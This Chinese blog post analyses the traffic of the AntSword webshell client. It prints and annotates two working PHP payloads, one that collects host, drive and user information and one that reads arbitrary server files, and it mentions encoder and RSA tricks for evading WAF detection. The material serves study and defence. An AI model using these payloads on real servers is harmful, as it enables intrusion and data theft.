本文寫一點關於蟻劍的流量分析。
一句話木馬的原理我在啟明面試后續文中已經提到了。
來看看蟻劍的馬是什么情況。
我們來逐句分析。
注:文件內容直接取自https://www.cnblogs.com/Lmg66/p/14016869.html
@ini_set("display_errors", "0");
不進行php報錯。
@set_time_limit(0);
無超時限制,會長期等待,防止大文件上傳時產生斷線問題。
function asenc($out){
return $out;
};
數據返回。
function asoutput(){
$output=ob_get_contents();
ob_end_clean();
echo "c6b05fd97";
echo @asenc($output);
echo "d69e35d304";}
返回緩沖區內容到output。
並且清除關閉緩沖區,后將緩沖區內容輸出。
ob_start();
創建干凈的緩沖區。
try{
$D=dirname($_SERVER["SCRIPT_FILENAME"]);
嘗試獲取當前文件所在目錄的絕對路徑的目錄名稱。
if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
若獲取失敗(即為空)則獲取文件目錄的基本路徑的目錄名稱。
$R="{$D} ";
然后獲取的加一個TAB賦值給R。
if(substr($D,0,1)!="/"){
foreach(range("C","Z")as $L)
if(is_dir("{$L}:"))$R.="{$L}:";
}
這里進行了一個文件頭判斷,目的是判斷文件所載系統,若為windows系統,則進行C~Z的盤符遍歷,搜索到后加到R后面。
else{
$R.="/";}
$R.=" ";
若是linux系統,就加一個/,再加個tab
$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
查看是否存在這些函數,然后以下是試圖賦值。
$s=($u)?$u["name"]:@get_current_user();
$R.=php_uname();
$R.=" {$s}";
echo $R;
;}
把php的信息也加到R中
catch(Exception $e){
echo "ERROR://".$e->getMessage();};
出錯就把報錯信息放進去
asoutput();
輸出了一下緩存
die();
斷開
以上就是文件內容,接下來我們看一下下一步的指令。
前面的內容大致相同,看看不一樣的,不一樣的基本在try中。
@ini_set(
"display_errors",
"0");
@set_time_limit(
0);
function asenc($out){
return $out;
};
function asoutput(){
$output=ob_get_contents();
ob_end_clean();
echo"a170af01bc"
;
echo @asenc($output);
echo"6d341a3c3a"
;
}
ob_start();
try{
$F=base64_decode(substr($_POST[
"hfdce8c1b4e4ef"],
2));
base64解碼post傳入的另一個數據,但是這個參數並不是base64的,只是個隨機名稱,目的應該是在后面上傳時候進行一次免殺。
$P=@fopen($F,
"r");
echo(@fread($P,filesize($F)?filesize($F):
4096));
打開文件,申請空間,這里若文件為空就讀取4096的空間
@fclose($P);;
關閉
}
catch(
Exception$e){
echo"ERROR://"
.$e->getMessage();};asoutput();
die();
其實在最后還在post的參數中給予了一個賦值,然后再進行文件讀取。
可能是為了防止部分waf對文件寫入的路徑進行解碼,並且為了能夠更靈活的從上文提到的第一次數據帶回中讀取文件路徑吧。
流量部分就到這里。
蟻劍提供了可以自主開發的編碼器,用以流量免殺。
也可以使用RAS等進行加密流量免殺。(這個有配置要求,比如php不開啟ssl是無法調用函數等)
網上文章超多,就不展開了。
哥斯拉與冰蠍更多使用非對稱加密與對稱加密混合的方式,蟻劍改改也能做到,需要的話可以反編譯一下,這里就不多說了。
之后有需要會聊聊webshell的靜態免殺與動態免殺,流量加密多半不會單獨寫。